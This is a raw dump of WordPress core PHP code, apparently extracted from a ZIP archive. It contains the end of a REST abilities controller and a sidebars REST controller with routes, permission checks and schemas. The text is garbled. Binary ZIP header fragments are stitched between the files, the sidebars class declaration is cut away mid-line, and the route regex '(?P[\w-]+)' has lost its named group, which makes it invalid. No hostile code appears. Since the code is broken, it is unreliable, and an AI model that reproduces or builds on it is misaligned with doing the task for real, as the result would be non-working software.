$schema['items'][ $index ] = $this->strip_internal_schema_keywords( $item_schema );
}
}
} elseif ( is_array( $schema['items'] ) ) {
$schema['items'] = $this->strip_internal_schema_keywords( $schema['items'] );
}
}
// Array-of-schemas keywords.
foreach ( array( 'anyOf', 'oneOf', 'allOf' ) as $keyword ) {
if ( isset( $schema[ $keyword ] ) && is_array( $schema[ $keyword ] ) ) {
foreach ( $schema[ $keyword ] as $index => $sub_schema ) {
if ( is_array( $sub_schema ) ) {
$schema[ $keyword ][ $index ] = $this->strip_internal_schema_keywords( $sub_schema );
}
}
}
}
return $schema;
}
/**
* Prepares an ability for response.
*
* @since 6.9.0
*
* @param WP_Ability $ability The ability object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $ability, $request ) {
$data = array(
'name' => $ability->get_name(),
'label' => $ability->get_label(),
'description' => $ability->get_description(),
'category' => $ability->get_category(),
'input_schema' => $this->strip_internal_schema_keywords(
$this->normalize_schema_empty_object_defaults( $ability->get_input_schema() )
),
'output_schema' => $this->strip_internal_schema_keywords(
$this->normalize_schema_empty_object_defaults( $ability->get_output_schema() )
),
'meta' => $ability->get_meta(),
);
$context = $request['context'] ?? 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
$fields = $this->get_fields_for_response( $request );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$links = array(
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $ability->get_name() ) ),
),
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
);
$links['wp:action-run'] = array(
'href' => rest_url( sprintf( '%s/%s/%s/run', $this->namespace, $this->rest_base, $ability->get_name() ) ),
);
$response->add_links( $links );
}
return $response;
}
/**
* Retrieves the ability's schema, conforming to JSON Schema.
*
* @since 6.9.0
*
* @return array Item schema data.
*/
public function get_item_schema(): array {
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'ability',
'type' => 'object',
'properties' => array(
'name' => array(
'description' => __( 'Unique identifier for the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'label' => array(
'description' => __( 'Display label for the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'Description of the ability.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'category' => array(
'description' => __( 'Ability category this ability belongs to.' ),
'type' => 'string',
'context' => array( 'view', 'edit', 'embed' ),
'readonly' => true,
),
'input_schema' => array(
'description' => __( 'JSON Schema for the ability input.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'output_schema' => array(
'description' => __( 'JSON Schema for the ability output.' ),
'type' => 'object',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'meta' => array(
'description' => __( 'Meta information about the ability.' ),
'type' => 'object',
'properties' => array(
'annotations' => array(
'description' => __( 'Annotations for the ability.' ),
'type' => array( 'boolean', 'null' ),
'default' => null,
),
),
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
),
);
return $this->add_additional_fields_schema( $schema );
}
/**
* Retrieves the query params for collections.
*
* @since 6.9.0
*
* @return array Collection parameters.
*/
public function get_collection_params(): array {
return array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
'page' => array(
'description' => __( 'Current page of the collection.' ),
'type' => 'integer',
'default' => 1,
'minimum' => 1,
),
'per_page' => array(
'description' => __( 'Maximum number of items to be returned in result set.' ),
'type' => 'integer',
'default' => 50,
'minimum' => 1,
'maximum' => 100,
),
'category' => array(
'description' => __( 'Limit results to abilities in specific ability category.' ),
'type' => 'string',
'sanitize_callback' => 'sanitize_key',
'validate_callback' => 'rest_validate_request_arg',
),
);
}
}
PK A:\0j*> > / endpoints/class-wp-rest-sidebars-controller.phpnu [ namespace = 'wp/v2';
$this->rest_base = 'sidebars';
}
/**
* Registers the controllers routes.
*
* @since 5.8.0
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\w-]+)',
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'id' => array(
'description' => __( 'The id of a registered sidebar' ),
'type' => 'string',
),
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks if a given request has access to get sidebars.
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_items_permissions_check( $request ) {
$this->retrieve_widgets();
foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
$sidebar = $this->get_sidebar( $id );
if ( ! $sidebar ) {
continue;
}
if ( $this->check_read_permission( $sidebar ) ) {
return true;
}
}
return $this->do_permissions_check();
}
/**
* Retrieves the list of sidebars (active or inactive).
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object on success.
*/
public function get_items( $request ) {
if ( $request->is_method( 'HEAD' ) ) {
// Return early as this handler doesn't add any response headers.
return new WP_REST_Response( array() );
}
$this->retrieve_widgets();
$data = array();
$permissions_check = $this->do_permissions_check();
foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
$sidebar = $this->get_sidebar( $id );
if ( ! $sidebar ) {
continue;
}
if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) {
continue;
}
$data[] = $this->prepare_response_for_collection(
$this->prepare_item_for_response( $sidebar, $request )
);
}
return rest_ensure_response( $data );
}
/**
* Checks if a given request has access to get a single sidebar.
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function get_item_permissions_check( $request ) {
$this->retrieve_widgets();
$sidebar = $this->get_sidebar( $request['id'] );
if ( $sidebar && $this->check_read_permission( $sidebar ) ) {
return true;
}
return $this->do_permissions_check();
}
/**
* Checks if a sidebar can be read publicly.
*
* @since 5.9.0
*
* @param array $sidebar The registered sidebar configuration.
* @return bool Whether the side can be read.
*/
protected function check_read_permission( $sidebar ) {
return ! empty( $sidebar['show_in_rest'] );
}
/**
* Retrieves one sidebar from the collection.
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$this->retrieve_widgets();
$sidebar = $this->get_sidebar( $request['id'] );
if ( ! $sidebar ) {
return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) );
}
return $this->prepare_item_for_response( $sidebar, $request );
}
/**
* Checks if a given request has access to update sidebars.
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
return $this->do_permissions_check();
}
/**
* Updates a sidebar.
*
* @since 5.8.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
if ( isset( $request['widgets'] ) ) {
$sidebars = wp_get_sidebars_widgets();
foreach ( $sidebars as $sidebar_id => $widgets ) {
foreach ( $widgets as $i => $widget_id ) {
// This automatically removes the passed widget IDs from any other sidebars in use.
if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) {
unset( $sidebars[ $sidebar_id ][ $i ] );
}
// This automatically removes omitted widget IDs to the inactive sidebar.
if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) {
$sidebars['wp_inactive_widgets'][] = $widget_id;
}
}
}
$sidebars[ $request['id'] ] = $request['widgets'];
wp_set_sidebars_widgets( $sidebars );
}
$request['context'] = 'edit';
$sidebar = $this->get_sidebar( $request['id'] );
/**
* Fires after a sidebar is updated via the REST API.
*
* @since 5.8.0
*
* @param array $sidebar The updated sidebar.
* @param WP_REST_Request $request Request object.
*/
do_action( 'rest_save_sidebar', $sidebar, $request );
return $this->prepare_item_for_response( $sidebar, $request );
}
/**
* Checks if the user has permissions to make the request.
*
* @since 5.8.0
*
* @return true|WP_Error True if the request has read access, WP_Error object otherwise.
*/
protected function do_permissions_check() {
/*
* Verify if the current user has edit_theme_options capability.
* This capability is required to access the widgets screen.
*/
if ( ! current_user_can( 'edit_theme_options' ) ) {
return new WP_Error(
'rest_cannot_manage_widgets',
__( 'Sorry, you are not allowed to manage widgets on this site.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Retrieves the registered sidebar with the given id.
*
* @since 5.8.0
*
* @param string|int $id ID of the sidebar.
* @return array|null The discovered sidebar, or null if it is not registered.
*/
protected function get_sidebar( $id ) {
return wp_get_sidebar( $id );
}
/**
* Looks for "lost" widgets once per request.
*
* @since 5.9.0
*
* @see retrieve_widgets()
*/
protected function retrieve_widgets() {
if ( ! $this->widgets_retrieved ) {
retrieve_widgets();
$this->widgets_retrieved = true;
}
}
/**
* Prepares a single sidebar output for response.
*
* @since 5.8.0
* @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support.
*
* @global array $wp_registered_sidebars The registered sidebars.
* @global array $wp_registered_widgets The registered widgets.
*
* @param array $item Sidebar instance.
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response Prepared response object.
*/
public function prepare_item_for_response( $item, $request ) {
global $wp_registered_sidebars, $wp_registered_widgets;
// Restores the more descriptive, specific name for use within this method.
$raw_sidebar = $item;
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */
return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request );
}
$id = $raw_sidebar['id'];
$sidebar = array( 'id' => $id );
if ( isset( $wp_registered_sidebars[ $id ] ) ) {
$registered_sidebar = $wp_registered_sidebars[ $id ];
$sidebar['status'] = 'active';
$sidebar['name'] = $registered_sidebar['name'] ?? '';
$sidebar['description'] = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : '';
$sidebar['class'] = $registered_sidebar['class'] ?? '';
$sidebar['before_widget'] = $registered_sidebar['before_widget'] ?? '';
$sidebar['after_widget'] = $registered_sidebar['after_widget'] ?? '';
$sidebar['before_title'] = $registered_sidebar['before_title'] ?? '';
$sidebar['after_title'] = $registered_sidebar['after_title'] ?? '';
} else {
$sidebar['status'] = 'inactive';
$sidebar['name'] = $raw_sidebar['name'];
$sidebar['description'] = '';
$sidebar['class'] = '';
}
if ( wp_is_block_theme() ) {
$sidebar['status'] = 'inactive';
}
$fields = $this->get_fields_for_response( $request );
if ( rest_is_field_included( 'widgets', $fields ) ) {
$sidebars = wp_get_sidebars_widgets();
$widgets = array_filter(
$sidebars[ $sidebar['id'] ] ?? array(),
static function ( $widget_id ) use ( $wp_registered_widgets ) {
return isset( $wp_registered_widgets[ $widget_id ] );
}
);
$sidebar['widgets'] = array_values( $widgets );
}
$schema = $this->get_item_schema();
$data = array();
foreach ( $schema['properties'] as $property_id => $property ) {
if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) {
$data[ $property_id ] = $sidebar[ $property_id ];
} elseif ( isset( $property['default'] ) ) {
$data[ $property_id ] = $property['default'];
}
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $sidebar ) );
}
/**
* Filters the REST API response for a sidebar.
*
* @since 5.8.0
*
* @param WP_REST_Response $response The response object.
* @param array $raw_sidebar The raw sidebar data.
* @param WP_REST_Request $request The request object.
*/
return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request );
}
/**
* Prepares links for the sidebar.
*
* @since 5.8.0
*
* @param array $sidebar Sidebar.
* @return array Links for the given widget.
*/
protected function prepare_links( $sidebar ) {
return array(
'collection' => array(
'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
),
'self' => array(
'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ),
),
'https://api.w.org/widget' => array(
'href' => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ),
'embeddable' => true,
),
);
}
/**
* Retrieves the block type' schema, conforming to JSON Schema.
*
* @since 5.8.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'sidebar',
'type' => 'object',
'properties' => array(
'id' => array(
'description' => __( 'ID of sidebar.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'name' => array(
'description' => __( 'Unique name identifying the sidebar.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'Description of sidebar.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'class' => array(
'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ),
'type' => 'string',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'before_widget' => array(
'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ),
'type' => 'string',
'default' => '',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'after_widget' => array(
'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ),
'type' => 'string',
'default' => '',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'before_title' => array(
'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ),
'type' => 'string',
'default' => '',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'after_title' => array(
'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ),
'type' => 'string',
'default' => '',
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'status' => array(
'description' => __( 'Status of sidebar.' ),
'type' => 'string',
'enum' => array( 'active', 'inactive' ),
'context' => array( 'embed', 'view', 'edit' ),
'readonly' => true,
),
'widgets' => array(
'description' => __( 'Nested widgets.' ),
'type' => 'array',
'items' => array(
'type' => array( 'object', 'string' ),
),
'default' => array(),
'context' => array( 'embed', 'view', 'edit' ),
),
),
);
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
}
PK A:\Tl&